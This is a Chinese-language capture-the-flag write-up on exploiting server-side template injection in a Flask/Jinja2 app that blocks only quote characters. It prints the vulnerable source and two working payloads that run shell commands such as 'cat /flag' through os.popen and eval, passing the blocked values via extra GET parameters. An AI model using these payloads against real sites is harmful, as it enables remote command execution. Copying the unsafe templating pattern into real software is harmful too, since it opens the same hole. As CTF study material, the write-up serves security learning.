Werkzeug/1.0.1Python/3.8.7

    试了下 web262 EXP 的不行了,换个其他的
    为了看源码。

    1. /?name={{lipsum.__globals__.os.popen(request.args.tari).read()}}&tari=cat%20/flag

    image.png

    看看源码

    1. from flask import Flask
    2. from flask import request
    3. from flask import render_template_string
    4. import re
    5. app = Flask(__name__)
    6. @app.route('/')
    7. def app_index():
    8. name = request.args.get('name')
    9. if name:
    10. if re.search(r"\'|\"",name,re.I):
    11. return ':('
    12. template = '''
    13. {%% block body %%}
    14. <div class="center-content error">
    15. <h1>Hello</h1>
    16. <h3>%s</h3>
    17. </div>
    18. {%% endblock %%}
    19. ''' % (request.args.get('name'))
    20. return render_template_string(template)
    21. if __name__=="__main__":
    22. app.run(host='0.0.0.0',port=80)

    原来是过滤了单引号,换种方式执行命令即可,这里通过 GET 参数进行传参即可

    其他解法

    1. /?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat%20/flag').read()

    利用 GET 请求参数传入被间接过滤而无法使用的值,然后利用字典访问,对于 Python 对象,eval 一下把字符串转换为Python代码即可。
    image.png